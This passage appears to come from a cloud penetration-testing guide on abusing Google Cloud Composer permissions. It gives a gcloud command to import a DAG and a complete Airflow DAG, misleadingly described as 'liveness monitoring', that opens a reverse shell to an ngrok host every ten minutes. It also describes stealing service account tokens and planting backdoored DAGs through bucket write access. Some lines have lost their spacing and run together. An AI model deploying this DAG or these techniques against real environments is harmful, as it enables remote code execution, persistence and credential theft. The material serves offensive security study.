It's possible to attach any service account to the newly create composer environment with that permission. Later you could execute code inside composer to steal the service account token.
Add the python DAG code into a file and import it running:
# TODO: Create dag to get a rev shellgcloudcomposerenvironmentsstoragedagsimport--environmenttest--locationus-central1--source/tmp/dags/reverse_shell.py
Reverse shell DAG:
reverse_shell.py
import airflowfrom airflow import DAGfrom airflow.operators.bash_operator import BashOperatorfrom datetime import timedeltadefault_args ={'start_date': airflow.utils.dates.days_ago(0),'retries':1,'retry_delay':timedelta(minutes=5)}dag =DAG('reverse_shell', default_args=default_args, description='liveness monitoring dag', schedule_interval='*/10 * * * *', max_active_runs=1, catchup=False, dagrun_timeout=timedelta(minutes=10),)# priority_weight has type int in Airflow DB, uses the maximum.t1 =BashOperator( task_id='bash_rev', bash_command='bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/14382 0>&1', dag=dag, depends_on_past=False, priority_weight=2**31-1, do_xcom_push=False)
Write Access to the Composer bucket
All the components of a composer environments (DAGs, plugins and data) are stores inside a GCP bucket. If the attacker has read and write permissions over it, he could monitor the bucket and whenever a DAG is created or updated, submit a backdoored version so the composer environment will get from the storage the backdoored version.
